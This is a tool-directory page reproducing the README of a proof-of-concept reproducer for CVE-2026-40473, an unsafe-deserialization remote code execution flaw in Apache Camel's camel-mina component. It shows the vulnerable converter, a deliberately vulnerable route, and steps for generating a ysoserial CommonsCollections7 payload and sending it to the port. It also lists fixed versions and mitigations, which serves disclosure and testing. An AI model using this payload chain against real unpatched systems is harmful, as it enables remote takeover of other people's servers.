Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/oscerd/cve-2026-40473
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP)

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-mina MinaConverter.toObjectInput Unsafe Deserialization Reproducer (CVE-2026-40473)

This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-mina component, tracked as CVE-2026-40473. The MinaConverter.toObjectInput(IoBuffer) type converter wraps the received bytes in a raw ObjectInputStream with no ObjectInputFilter, so a route that converts a TCP/UDP body to ObjectInput and calls readObject() can be driven to remote code execution by an attacker sending a crafted serialized object to the MINA port.

Advisory: https://camel.apache.org/security/CVE-2026-40473.html

Vulnerability Summary

PropertyValue
Componentcamel-mina
Affected Classorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Deserialization of Untrusted Data
ImpactRemote Code Execution (RCE) over TCP/UDP
Affected VersionsFrom 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0
Fixed Versions4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
ReporterVenkatraman Kumar (Securin)

Technical Details

The IoBuffer → ObjectInput type converter wraps the buffer in a raw ObjectInputStream:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

When a camel-mina TCP/UDP consumer delivers the raw bytes (e.g. with allowDefaultCodec=false) and the route asks for ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, or convertBodyTo(ObjectInput.class)), this converter runs. Calling readObject() on the returned stream then executes any gadget chain in the attacker-supplied bytes.

The victim route

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Prerequisites

  • Java 17+ and Maven 3.8+ (to build the jar)
  • Docker (runs the reproducer)
  • ysoserial (for payload generation)

Reproduction Steps

Step 1: Build the jar and start the container

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Step 2: Generate a malicious payload

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Step 3: Send it over TCP to the MINA port (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(The MINA port 5555 is internal to the container in this PoC; the /exploit/inject helper performs the raw TCP send from inside. Expose port 5555 to send from the host with a raw client such as nc.)

Step 4: Verify

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Cleanup

root@kitploit:~
docker compose down

Attack Vectors

Any camel-mina TCP or UDP consumer whose route converts the body to ObjectInput (directly, via @Body ObjectInput, or convertBodyTo(ObjectInput.class)) is exploitable by anyone who can reach the MINA port.

Exploit Conditions

  1. A camel-mina TCP/UDP consumer that requests ObjectInput conversion of the received bytes.
  2. A gadget library on the classpath (e.g. commons-collections:3.2.1).

Recommended Fix

Upgrade to 4.14.6 / 4.18.2 / 4.20.0. The fix applies an ObjectInputFilter / class allow-list to the converter (matching the hardening applied to camel-netty, camel-jms and camel-infinispan).

Mitigation

Until upgrading:

  1. Do not convert untrusted MINA bodies to ObjectInput / do not deserialize them.
  2. Remove gadget libraries (upgrade/remove commons-collections 3.x).
  3. Restrict network access to the MINA port to trusted peers.

Files

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

Download Tool